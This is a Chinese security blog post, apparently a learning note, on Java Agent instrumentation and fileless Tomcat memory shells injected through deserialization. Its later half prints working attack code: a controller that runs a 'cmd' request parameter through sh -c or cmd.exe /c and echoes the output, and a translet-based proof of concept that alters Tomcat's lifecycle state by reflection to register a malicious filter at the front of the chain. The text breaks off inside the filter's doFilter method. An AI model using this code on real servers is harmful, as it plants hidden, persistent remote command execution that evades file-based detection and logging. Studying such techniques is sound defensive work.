# 前言
先是去参加鹏程,然后又是强网拟态,回来后一直在写安卓和防火墙的期末作品。差不多快一个半月没有维护自己的小菜园了。这里还是书接上回,将 tomcat 内存马最后一种类型学习记录一下。因为本篇内容是边学边记录前面有些内容写完后面觉得不太合适又又部分改动,所以有些地方可能会有些逻辑不是很顺畅。
# Java Agent
JDK 1.5 开始,JVM 提供了探针接口(Instrumentation 接口),便于开发人员基于 Instrumentation 接口编写 Java Agent(通过 java.lang.instrument 实现的工具我们称之为 Java Agent)。它是 main 方法之前的一个拦截器,和前面学习的 filter 过滤器很像,不过 Java Agent 是在 main 方法执行前运行。允许 JVM 在加载某个 class 文件之前对其字节码进行修改,同时也支持对已加载的 class (类字节码) 进行重新加载 (Retransform)。
Java Agent 支持两种方式进行加载:
- 实现 premain 方法(Agent 模式),在启动时进行加载
- 实现 agentmain 方法(Attach 模式),在启动后进行加载
Agent 是一个真实存在的类,其在 sun.management 包下
# Java Agent 使用
代码位于 java.lang.instrument 下,其类和接口如下
实际上内容不是很多,这里简单看一下
# ClassFileTransformer 接口
在这个接口中就这一个方法,这个方法的实现可以转换提供的类文件和返回一个新的替换类文件。
这里有大量的注释内容类说明这个接口,这里将对应参数注释展示
public interface ClassFileTransformer { | |
/* @param loader 如果是引导加载器,则要转换的类的定义加载器可能为空 | |
* @param className 在 Java 虚拟机规范中定义的完全限定类和接口名称的内部形式的类名。例如,“java/util/List” | |
* @param classBeingRedefined 如果这是由重新定义或重新转换触发的,被重新定义或重新转换的类;如果这是一个类加载,则为 null | |
* @param protectionDomain 被定义或重定义的类的保护域 | |
* @param classfileBuffer 类文件格式的输入字节缓冲区不能被修改 | |
* @throws 如果输入不表示格式良好的类文件,则为 IllegalClassFormatException | |
* @return 格式良好的类文件缓冲区 (转换的结果),如果不执行转换,则为空。 | |
* @see Instrumentation#redefineClasses | |
*/ | |
byte[] | |
transform( ClassLoader loader, | |
String className, | |
Class<?> classBeingRedefined, | |
ProtectionDomain protectionDomain, | |
byte[] classfileBuffer) | |
throws IllegalClassFormatException; | |
} |
# Instrumentation 接口
这个接口中的方法就比较多了,它是 Java 提供的监测运行在 JVM 程序的 API ,利用 Instrumentation 可以实现的功能如下表所示
类方法 | 功能 |
---|---|
void addTransformer(ClassFileTransformer transformer, boolean canRetransform) | 添加一个 Transformer,是否允许 reTransformer |
void addTransformer(ClassFileTransformer transformer) | 添加一个 Transformer |
boolean removeTransformer(ClassFileTransformer transformer) | 移除一个 Transformer |
boolean isRetransformClassesSupported() | 检测是否允许 reTransformer |
void retransformClasses(Class<?>... classes) | 重加载(retransform)类 |
boolean isModifiableClass(Class<?> theClass) | 确定一个类是否可以被 retransformation 或 redefinition 修改 |
Class[] getAllLoadedClasses() | 获取 JVM 当前加载的所有类 |
Class[] getInitiatedClasses(ClassLoader loader) | 获取指定类加载器下所有已经初始化的类 |
long getObjectSize(Object objectToSize) | 返回指定对象大小 |
void appendToBootstrapClassLoaderSearch(JarFile jarfile) | 添加到 BootstrapClassLoader 搜索 |
void appendToSystemClassLoaderSearch(JarFile jarfile) | 添加到 SystemClassLoader 搜索 |
boolean isNativeMethodPrefixSupported() | 是否支持设置 native 方法 Prefix |
void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix) | 通过允许重试,将前缀应用到名称,此方法修改本机方法解析的失败处理 |
boolean isRedefineClassesSupported() | 是否支持类 redefine |
void redefineClasses(ClassDefinition... definitions) | 重定义(redefine)类 |
# ClassDefinition 类
public final class ClassDefinition { | |
/** | |
* 要重定义的类 | |
*/ | |
private final Class<?> mClass; | |
/** | |
* 用于替换的本地 class ,为 byte 数组 | |
*/ | |
private final byte[] mClassFile; | |
/** | |
* 构造方法,使用提供的类和类文件字节创建一个新的 ClassDefinition 绑定 | |
*/ | |
public ClassDefinition( Class<?> theClass, byte[] theClassFile) { | |
if (theClass == null || theClassFile == null) { | |
throw new NullPointerException(); | |
} | |
mClass = theClass; | |
mClassFile = theClassFile; | |
} | |
/** | |
* 以下为 getter 方法 | |
*/ | |
public Class<?> getDefinitionClass() { | |
return mClass; | |
} | |
public byte[] getDefinitionClassFile() { | |
return mClassFile; | |
} | |
} |
# 启动时加载
一个类 AgentUseTest
import java.lang.instrument.Instrumentation; | |
import java.lang.instrument.UnmodifiableClassException; | |
public class AgentUseTest { | |
public static void main(String[] args) { | |
System.out.println("this is a Agent test!"); | |
} | |
public static void premain(String args, Instrumentation instrumentation){// 在启动时进行加载 | |
System.out.println("Premain start!!!!"); | |
System.out.println(args); | |
System.out.println(instrumentation.toString()); | |
System.out.println("Premain end!!!!"); | |
} | |
} |
然后创建 MAINFEST 文件(注意末尾有空行)
Manifest-Version: 1.0 | |
Premain-Class: AgentUseTest | |
Main-Class: AgentUseTest |
这里将其打包为一个 jar 文件
然后创建了一个 TestEcho 类
public class TestEcho { | |
public static void main(String[] args) { | |
System.out.println("this is a test"); | |
} | |
} |
在然后是
Manifest-Version: 1.0 | |
Main-Class: TestEcho |
打包
接下来我们只需要在 java -jar
中添加 -javaagent:agent.jar
即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数
java -javaagent:AgentUseTest.jar -jar .\TestEcho.jar |
可以看到我们 agent 中 premain 的代码被优先执行了
上面可以看到实现 premain 获取到传入的参数,这里可以看到实际上我们不止获取到了 args,同样这里还输出了一个 sun.instrument.InstrumentationImpl,这个 Instrumentation 实际上在前面已经提到过了,它是 Java 提供的监测运行在 JVM 程序的 API 。
# 动态修改字节码 demo
这里实际上就是使用到上面提到的这个 Instrumentation 来实现。首先利用 addTransformer 来注册一个 transform,然后实现 ClassFileTransformer 接口
import java.lang.instrument.Instrumentation; | |
import java.lang.instrument.UnmodifiableClassException; | |
public class AgentUseTest { | |
public static void main(String[] args) { | |
System.out.println("this is a Agent test!"); | |
} | |
public static void premain(String args, Instrumentation instrumentation){// 在启动时进行加载 | |
System.out.println("Premain start!!!!"); | |
System.out.println(args); | |
System.out.println(instrumentation.toString()); | |
instrumentation.addTransformer(new ClassFileTransformerTest(),true); | |
System.out.println("Premain end!!!!"); | |
} | |
} |
实现 ClassFileTransformer 接口接口的方法,这里可以实现一些自己的功能,这里我简单的做了一些打印
import java.lang.instrument.ClassFileTransformer; | |
import java.lang.instrument.IllegalClassFormatException; | |
import java.security.ProtectionDomain; | |
// 每当类被加载,就会调用 transform 函数 | |
public class ClassFileTransformerTest implements ClassFileTransformer { | |
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { | |
System.out.println("ClassFileTransformerTest start!"); | |
System.out.println(className); | |
System.out.println("ClassFileTransformerTest end!!"); | |
return new byte[0]; | |
} | |
} |
如果需要修改已经被 JVM 加载过的类的字节码,那么还需要设置在 MANIFEST.MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true
Manifest-Version: 1.0 | |
Can-Redefine-Classes: true | |
Can-Retransform-Classes: true | |
Premain-Class: AgentUseTest | |
Main-Class: AgentUseTest |
可以看到这些类都是在 JVM 启动时被加载
值得注意的是 premain agent 的模式有一个致命缺陷就是一旦 agent 抛出异常,会导致主程序的启动失败。
还是用上面的例子,这次打包 jar 文件时在 mf 文件中不添加上前面提到的 Can-Redefine-Classes: true,Can-Retransform-Classes: true。刚好验证这两个是否为必须项
这里重新打包文件,可以看到合理 error 后,我们的主程序 TestEcho 没有成功执行
agent 的方法名必须是 premain,否则会导致报错
这里验证一下这个说法,将上面的测试中的 mf 文件修改回来,然后修改 agnet 中的 permain 的方法名如下
import java.lang.instrument.Instrumentation; | |
import java.lang.instrument.UnmodifiableClassException; | |
public class AgentUseTest { | |
public static void main(String[] args) { | |
System.out.println("this is a Agent test!"); | |
} | |
public static void premain1(String args, Instrumentation instrumentation){// 在启动时进行加载 | |
System.out.println("Premain start!!!!"); | |
System.out.println(args); | |
System.out.println(instrumentation.toString()); | |
instrumentation.addTransformer(new ClassFileTransformerTest(),true); | |
System.out.println("Premain end!!!!"); | |
} | |
} |
这里重新打包测试
这里可以看到抛出了异常 sun.instrument.InstrumentationImpl 类的 loadClassAndCallPremain 方法指定方法名必须是 premain
premain 有两种定义方式,且带有 Instrumentation 参数的方法的优先级更高
premain 有下面两种定义方式
public static void premain(String agentArgs) | |
public static void premain(String agentArgs, Instrumentation inst) |
下面也用简单的一个例子来说明
import java.lang.instrument.Instrumentation; | |
import java.lang.instrument.UnmodifiableClassException; | |
public class AgentUseTest { | |
public static void main(String[] args) { | |
System.out.println("this is a Agent test!"); | |
} | |
public static void premain(String args){// 在启动时进行加载 | |
System.out.println("No Instrumentation"); | |
} | |
public static void premain(String args, Instrumentation instrumentation){// 在启动时进行加载 | |
System.out.println("Instrumentation"); | |
} | |
} |
这里可以看到实际上调用的只有这个有 Instrumentation 参数的这个另一个是没有被调用的,在运行的时候会先找有 Instrumentation 参数的 premain 方法,如果没有才会去找这没有参数的方法。
# 启动后加载
前面的 premain 方法是在 main 加载前做一些操作,但是我们遇到的多数应是 jvm 已经运行起来了的情况,那么第一种方法就不太可行了,不过从 jdk1.6 开始我们可以通过 Attach 使用 agentmain 来使得在 main 函数开始运行后再运行。与 premain 不同的是 attach 这个模式不能通过启动参数的方式连接主程序,而是需要通过 com.sun.tools.attach 包下的工具类来实现。
高版本 JDK 中是不需要单独引入 Tools 包的。而在低版本中我们需要,借助 com.sun.tools.attach
包下的 VirtualMachine
工具类。
我们需要三个项目:agent 项目、主程序和 attach 项目
首先是 agent 的核心代码
import java.lang.instrument.Instrumentation; | |
public class AgentMain { | |
public static void agentmain(String agentArgs, Instrumentation inst) { | |
System.out.println("agentmain start"); | |
System.out.println(agentArgs); | |
System.out.println(inst); | |
System.out.println("agentmain end"); | |
} | |
public static void main(String[] args) { | |
System.out.println("AgentMain"); | |
} | |
} |
pom 文件如下
<build> | |
<plugins> | |
<plugin> | |
<groupId>org.apache.maven.plugins</groupId> | |
<artifactId>maven-jar-plugin</artifactId> | |
<version>3.1.0</version> | |
<configuration> | |
<archive> | |
<manifest> | |
<addClasspath>true</addClasspath> | |
</manifest> | |
<manifestEntries> | |
<Agent-Class>AgentMain</Agent-Class> | |
<Main-Class>AgentMain</Main-Class> | |
<Can-Redefine-Classes>true</Can-Redefine-Classes> | |
<Can-Retransform-Classes>true</Can-Retransform-Classes> | |
</manifestEntries> | |
</archive> | |
</configuration> | |
</plugin> | |
</plugins> | |
</build> | |
</project> |
这里实际上需要的是 configuration 中的内容,在前面 premain 的使用中,我们使用 mf 文件在指定 Main-Class 等配置,这里使用另一种方式就是 pom 文件,当然继续使用 mf 文件也是可以的,如下
Manifest-Version: 1.0 | |
Built-By: Clown | |
Agent-Class: AgentMain | |
Can-Redefine-Classes: true | |
Can-Retransform-Classes: true | |
Created-By: Apache Maven 3.8.1 | |
Build-Jdk: 1.8.0_382 | |
Main-Class: AgentMain |
将这个项目打包备用
然后就是主程序
import java.io.IOException; | |
public class Main { | |
public static void main(String[] args) throws IOException { | |
System.in.read(); | |
} | |
} |
这里就很简单的使用 System.in.read (); 保持项目启动后一直运行
最后是 attach 项目项目
import com.sun.tools.attach.VirtualMachine; | |
public class AttachMain { | |
public static void main(String[] args) { | |
try { | |
VirtualMachine vm = VirtualMachine.attach("26344"); | |
vm.loadAgent("E:\\notes\\Java\\test\\Agent\\target\\Agent-1.0-SNAPSHOT.jar", "test"); | |
vm.detach(); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
} |
前面也说了如果是高版本的话需要借助 com.sun.tools.attach
包下的 VirtualMachine
工具类,这里导入一个依赖来解决这个问题
<dependency> | |
<groupId>io.earcam.wrapped</groupId> | |
<artifactId>com.sun.tools.attach</artifactId> | |
<version>1.8.0_jdk8u172-b11</version> | |
</dependency> |
然后将主程序运行后运行这个 attach 项目即可
下图中是三个项目的关系
# 动态修改字节码 demo
这里和前面的 permain 也有一点区别,在 permain 中我们并不需要 retransformClasses,而在 agent 中这点缺不可或缺,直接看下面这个例子
首先还是 agent 项目
import java.lang.instrument.Instrumentation; | |
public class AgentMain { | |
public static void agentmain(String agentArgs, Instrumentation inst) throws Exception { | |
System.out.println("agentmain start"); | |
inst.addTransformer(new ClassFileTransformerTest(),true); | |
// 获取所有已加载的类 | |
Class[] classes = inst.getAllLoadedClasses(); | |
for (Class clas:classes){ | |
if (clas.getName().equals("Main")){ | |
try{ | |
// 对类进行重新定义 | |
inst.retransformClasses(clas); | |
} catch (Exception e){ | |
e.printStackTrace(); | |
} | |
} | |
} | |
System.out.println("agentmain end"); | |
} | |
} |
然后是对 ClassFileTransformer 的实现类
import java.lang.instrument.ClassFileTransformer; | |
import java.lang.instrument.IllegalClassFormatException; | |
import java.lang.reflect.Field; | |
import java.security.ProtectionDomain; | |
public class ClassFileTransformerTest implements ClassFileTransformer { | |
@Override | |
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { | |
className = className.replace("/", "."); | |
if (className.equals("Main")) { | |
try { | |
Class<?> targetClass = Class.forName(className); | |
Field declaredField = targetClass.getDeclaredField("string"); | |
// 创建目标类的实例 | |
Object targetInstance = targetClass.newInstance(); | |
// 设置字段的新值 | |
declaredField.setAccessible(true); | |
declaredField.set(targetInstance, "demo!"); | |
} catch (ClassNotFoundException | NoSuchFieldException | InstantiationException | IllegalAccessException e) { | |
throw new RuntimeException(e); | |
} | |
} | |
return classfileBuffer; | |
} | |
} |
这里使用反射去修改成员变量将其改为 demo!,主程序代码如下
public class Main { | |
public static String string = "test!"; | |
public static void main(String[] args) throws Exception { | |
while (true){ | |
System.out.println(string); | |
Thread.sleep(3000); | |
} | |
} | |
} |
这里就每三秒输出异常 string 这个变量,最后的 attach 这个项目没有改变
这里可以看到就已经成功改变,具体的修改 Class 的字节码还用到另一个工具 —— javassist
。
# Javassist
在上面的例子中动态修改的例子中我使用反射修改了成员变量的值,在线的应用一般不会频繁的使用反射,因为反射的性能开销比较大。实际上有一种和反射一样特性强大且开销较小的工具就是这个 Javassit。
Javassit 提供了两个级别的 API: 源级别和字节码级别
- ClassPool:一个存放 CtClass 对象的容器。通过
ClassPool.getDefault()
获取 - CtClass:需要从 ClassPool 中获取,可以简单理解为就是 Class 对象通过调用 get (ClassName) 获取
- CtMethod:简单理解为 Method 即可
一个简单的小工具,这里我们目前需要用到的也很简单,这里就不在啰嗦
# 反序列化打内存马
虽然前面也铺垫了很多,但是还为时尚早。这里再记录一个新的问题,在前面的内存马学习中似乎都是直接假设我有一个文件上传的背景,但是遗憾的是这种场景不太现实。而且我们上传 jsp 文件然后运行将 jsp 文件删除,虽然看起来没有文件了,但是实际上的使用我们访问这个 jsp 文件的日志就不可避免,那么又如何避免这种情况。就是本节要记录的内容,反序列化打内存马实现真正的无文件落地
在利用 jsp 文件的时候无论是 Filter、Servlet 又或者是 Listener 我们都能较为简单的获取到 request 和 response,因为这两者都是 jsp 内置的对象,所以我们在前面三种内存马的学习中因为最后会将文件上传,所以我们无需考虑到回显的问题。
# 回显问题
网上师傅的思路是寻找一个静态的可以存放 request 和 response 的变量,因为是静态的变量也就不需要获取到对应的实例,当然也肯定是找到的了对应的静态变量: lastServicedRequest 和 lastServicedResponse
这里搭建一个简单的 Spring boot 项目,然后下一个断点
我们想要获取的就是上图中这个 response 变量,顺着堆栈找,考虑到通用性不能是与 spring 相关的一个静态的变量,大师傅是找到了这样一个位置
在 org.apache.catalina.core.ApplicationFilterChain
这个类中,这里可以看到类中就有符合我们需求的变量
这里判断的变量是 false,但是如果能进入到 if 中的话,这里会调用 set 方法将我们的 request 和 response 存放进去
这里会判断这个值是否为空,如果为空就会将 STRICT_SERVLET_COMPLIANCE(false)赋值给他,可以通过反射去改,也是小问题
package clown.cctest.controller; | |
import org.apache.catalina.connector.Response; | |
import org.apache.catalina.connector.ResponseFacade; | |
import org.springframework.stereotype.Controller; | |
import org.springframework.web.bind.annotation.RequestMapping; | |
import org.springframework.web.bind.annotation.ResponseBody; | |
import javax.servlet.ServletRequest; | |
import javax.servlet.ServletResponse; | |
import javax.servlet.http.HttpServletRequest; | |
import javax.servlet.http.HttpServletResponse; | |
import java.io.InputStream; | |
import java.io.Writer; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.Modifier; | |
import java.util.Scanner; | |
@Controller | |
public class TestController{ | |
@ResponseBody | |
@RequestMapping("/test") | |
public void cc11Vuln(HttpServletRequest req, HttpServletResponse res) throws Exception { | |
Class ApplicationDispatcherClass = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); | |
Class ApplicationFilterChainClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); | |
Field WRAP_SAME_OBJECTField = ApplicationDispatcherClass.getDeclaredField("WRAP_SAME_OBJECT"); | |
Field lastServicedRequestField = ApplicationFilterChainClass.getDeclaredField("lastServicedRequest"); | |
Field lastServicedResponseField = ApplicationFilterChainClass.getDeclaredField("lastServicedResponse"); | |
lastServicedRequestField.setAccessible(true); | |
lastServicedResponseField.setAccessible(true); | |
WRAP_SAME_OBJECTField.setAccessible(true); | |
// 利用反射修改 final 变量 | |
Field modifiersField = Field.class.getDeclaredField("modifiers"); | |
modifiersField.setAccessible(true); | |
modifiersField.setInt(WRAP_SAME_OBJECTField, WRAP_SAME_OBJECTField.getModifiers() & ~Modifier.FINAL); | |
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); | |
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); | |
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null); | |
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); | |
String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd") : null; | |
if (!WRAP_SAME_OBJECTField.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){ | |
WRAP_SAME_OBJECTField.setBoolean(null,true); | |
lastServicedRequestField.set(null,new ThreadLocal()); | |
lastServicedResponseField.set(null,new ThreadLocal()); | |
} else if (cmd!=null){ | |
boolean isLinux = true; | |
String osTyp = System.getProperty("os.name"); | |
if (osTyp != null && osTyp.toLowerCase().contains("win")) { | |
isLinux = false; | |
} | |
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; | |
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); | |
StringBuilder sb = new StringBuilder(""); | |
byte[] bytes = new byte[1024]; | |
int line = 0; | |
while ((line = inputStream.read(bytes))!=-1){ | |
sb.append(new String(bytes,0,line)); | |
} | |
Writer writer = lastServicedResponse.get().getWriter(); | |
writer.write(sb.toString()); | |
writer.flush(); | |
} | |
} | |
} |
这里简单分析一下这个流程
第一次访问的时候,因为初始化我们还没有修改 WRAP_SAME_OBJECT 的值,所以它现在还是 false,然后下面一个 if 检查请求是否是否支持异步操作( request.isAsyncSupported()
),并且 servlet 是否不支持异步操作( !servletSupportsAsync
)
第三个 if 检查 request
是否是 HttpServletRequest
类型,这里会直接跳过,然后携带这 req 和 res 调用 servlet.service,最后会触发到我们自己的代码逻辑
这里会通过反射对 WRAP_SAME_OBJECTField 值进行修改,然后第二次访问的时候由于 WRAP_SAME_OBJECT 已经修改了
这里会调用 set 方法存入 request 和 respons,最后还是会调用 servlet.service,触发到我们自己的代码逻辑,第二次就会命令执行了,当然这种方法是具有局限性的
在通过调用 set 设置值之前,所有的 filter 就已经都被运行了,所以在 shiro 中是没法利用的
# 动态注册
解决回显问题后我们就需要通过 Java Web 三大组件将我们的内存马给注入到内存中,这里就需要使用到动态注册的方法
在 Java Web 中有三种注册方式
- xml 文件注册
- 注解注册(Servlet 3.0 +)
- ServletContext 动态注册
xml 文件注册和注解注册在前面的 Servlet 内存马 - 内存马 | Clown の Blog = (xcu.icu) 中已经有写到了,本节中主要是记录一下第三种注册方式
Servlet,Listener,Filter 由 ServletContext 去加载,无论是使用 xml 文件注册还是使用 Annotation 注解注册,均由 Web 容器进行初始化,读取其中的配置属性,然后向 Web 容器中进行注册。Servlet 3.0 可以由 ServletContext 动态进行注册,因此可以在 Web 容器初始化的时候(即建立 ServletContext 对象的时候)进行动态注册。
# Servlet
需要配置 Servlet 的参数为:loadOnStartup,urlMapping,initParameter,asyncSupport,MultipartConfig 等。
ServletContext servletContext = request.getServletContext(); | |
ServletRegistration.Dynamic servietnmae = servletContext.addServlet("Servietnmae", Servietnmae.class); | |
servietnmae.setLoadOnStartup(-1); | |
servietnmae.addMapping(new String[]{"/*"}); | |
servietnmae.setInitParameter("db","mysql"); | |
servietnmae.setAsyncSupported(false); |
# Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("Clown", Clown.class); | |
filterRegistration.setInitParameter("encoding", "utf-8"); | |
filterRegistration.setAsyncSupported(false); | |
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"}); |
动态注册 Filter 中,过滤顺序由 isMatchAfter 属性决定。
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"}); | |
该方法有三个参数: | |
1、EnumSet<DispatcherType> dispatcherTypes 表示过滤器拦截的类型 Forward,Include,Request,Error,Async | |
2、boolean isMatchAfter 表示该过滤器是够放在当前web应用中已经存在的过滤器之后,true表示放在当前应用所有的过滤器之后,false表示将该过滤器放在当前应用所有的过滤器之前 | |
3、String... urlPatterns 表示拦截的url |
# Listener
servletContext.addListener(Clown.class); |
# 反序列化利用
这里就使用前面学到的 filter 内存马来简单测试一下,想要动态的注册一个 filter 需要两步,第一步将 request 和 response 存入到 lastServicedRequest 和 lastServicedResponse 中,第二步通过上面的 request 和 response 动态注册 filter
这里在项目中先加一个 cc 依赖
<dependency> | |
<groupId>commons-collections</groupId> | |
<artifactId>commons-collections</artifactId> | |
<version>3.1</version> | |
</dependency> |
第一步这里就比较简单了,和上面的方法是一样的
package clown.memoryhorse.inject; | |
import com.sun.org.apache.xalan.internal.xsltc.DOM; | |
import com.sun.org.apache.xalan.internal.xsltc.TransletException; | |
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; | |
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; | |
import javax.servlet.ServletRequest; | |
import javax.servlet.ServletResponse; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.Modifier; | |
public class TomcatEchoInject extends AbstractTranslet { | |
static { | |
try { | |
Class ApplicationDispatcherClass = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); | |
Class ApplicationFilterChainClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); | |
Field WRAP_SAME_OBJECTField = ApplicationDispatcherClass.getDeclaredField("WRAP_SAME_OBJECT"); | |
Field lastServicedRequestField = ApplicationFilterChainClass.getDeclaredField("lastServicedRequest"); | |
Field lastServicedResponseField = ApplicationFilterChainClass.getDeclaredField("lastServicedResponse"); | |
lastServicedRequestField.setAccessible(true); | |
lastServicedResponseField.setAccessible(true); | |
WRAP_SAME_OBJECTField.setAccessible(true); | |
// 利用反射修改 final 变量 | |
Field modifiersField = Field.class.getDeclaredField("modifiers"); | |
modifiersField.setAccessible(true); | |
modifiersField.setInt(WRAP_SAME_OBJECTField, WRAP_SAME_OBJECTField.getModifiers() & ~Modifier.FINAL); | |
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); | |
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); | |
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null); | |
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); | |
if (!WRAP_SAME_OBJECTField.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null) { | |
WRAP_SAME_OBJECTField.setBoolean(null, true); | |
lastServicedRequestField.set(null, new ThreadLocal()); | |
lastServicedResponseField.set(null, new ThreadLocal()); | |
} | |
} catch (NoSuchFieldException e) { | |
throw new RuntimeException(e); | |
} catch (ClassNotFoundException e) { | |
throw new RuntimeException(e); | |
} catch (IllegalAccessException e) { | |
throw new RuntimeException(e); | |
} | |
} | |
@Override | |
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { | |
} | |
@Override | |
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { | |
} | |
} |
这样就完成了第一步,将 request 和 response 存入到 lastServicedRequest 和 lastServicedResponse 中,接着我们要做的就是动态注册 Filter,根据上一小节的内容,这里只需要
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("Clown", Clown.class); | |
filterRegistration.setInitParameter("encoding", "utf-8"); | |
filterRegistration.setAsyncSupported(false); | |
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"}); |
但实际上并不行,由于 Tomcat 只允许在初始化过程中调用该方法,所以当初始化结束的时候再调用该方法就会抛出异常,所以我们需要反射先进行修改
当然这里也像 filter 内存马中那样,直接初始化 FilterDef 也是可以的
Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state"); | |
stateField.setAccessible(true); | |
stateField.set(standardContext, LifecycleState.STARTING_PREP); |
这样就可以修改了,完整的 poc 如下
package clown.memoryhorse.inject; | |
import com.sun.org.apache.xalan.internal.xsltc.DOM; | |
import com.sun.org.apache.xalan.internal.xsltc.TransletException; | |
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; | |
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; | |
import org.apache.catalina.LifecycleState; | |
import org.apache.catalina.core.ApplicationContext; | |
import org.apache.catalina.core.StandardContext; | |
import javax.servlet.*; | |
import java.io.IOException; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.Method; | |
public class TomcatInject extends AbstractTranslet implements Filter { | |
static { | |
try { | |
Class aClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); | |
Field lastServicedRequest = aClass.getDeclaredField("lastServicedRequest"); | |
lastServicedRequest.setAccessible(true); | |
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequest.get(null); | |
ServletRequest servletRequest = (ServletRequest) threadLocal.get(); | |
ServletContext servletContext = servletRequest.getServletContext(); | |
if (servletContext != null){ | |
Field applicatiooncontextfield = servletContext.getClass().getDeclaredField("context"); | |
applicatiooncontextfield.setAccessible(true); | |
ApplicationContext applicatiooncontext = (ApplicationContext) applicatiooncontextfield.get(servletContext); | |
Field context = applicatiooncontext.getClass().getDeclaredField("context"); | |
context.setAccessible(true); | |
StandardContext standardContext = (StandardContext) context.get(applicatiooncontext); | |
if (standardContext != null){ | |
Field stateField = org.apache.catalina.util.LifecycleBase.class | |
.getDeclaredField("state"); | |
stateField.setAccessible(true); | |
stateField.set(standardContext, LifecycleState.STARTING_PREP); | |
Filter myFilter =new TomcatInject(); | |
// 调用 doFilter 来动态添加我们的 Filter | |
// 这里也可以利用反射来添加我们的 Filter | |
javax.servlet.FilterRegistration.Dynamic filterRegistration = | |
servletContext.addFilter("clown",myFilter); | |
// 进行一些简单的设置 | |
filterRegistration.setInitParameter("encoding", "utf-8"); | |
filterRegistration.setAsyncSupported(false); | |
// 设置基本的 url pattern | |
filterRegistration | |
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, | |
new String[]{"/*"}); | |
// 将服务重新修改回来,不然的话服务会无法正常进行 | |
if (stateField != null){ | |
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); | |
} | |
// 在设置之后我们需要 调用 filterstart | |
if (standardContext != null){ | |
// 设置 filter 之后调用 filterstart 来启动我们的 filter | |
Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart"); | |
filterStartMethod.setAccessible(true); | |
filterStartMethod.invoke(standardContext,null); | |
/** | |
* 将我们的 filtermap 插入到最前面 | |
*/ | |
Class ccc = null; | |
try { | |
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); | |
} catch (Throwable t){} | |
if (ccc == null) { | |
try { | |
ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); | |
} catch (Throwable t){} | |
} | |
// 把 filter 插到第一位 | |
Method m = Class.forName("org.apache.catalina.core.StandardContext") | |
.getDeclaredMethod("findFilterMaps"); | |
Object[] filterMaps = (Object[]) m.invoke(standardContext); | |
Object[] tmpFilterMaps = new Object[filterMaps.length]; | |
int index = 1; | |
for (int i = 0; i < filterMaps.length; i++) { | |
Object o = filterMaps[i]; | |
m = ccc.getMethod("getFilterName"); | |
String name = (String) m.invoke(o); | |
if (name.equalsIgnoreCase("clown")) { | |
tmpFilterMaps[0] = o; | |
} else { | |
tmpFilterMaps[index++] = filterMaps[i]; | |
} | |
} | |
for (int i = 0; i < filterMaps.length; i++) { | |
filterMaps[i] = tmpFilterMaps[i]; | |
} | |
} | |
} | |
} | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
@Override | |
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { | |
} | |
@Override | |
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { | |
} | |
@Override | |
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, | |
FilterChain filterChain) throws IOException, ServletException { | |
System.out.println( | |
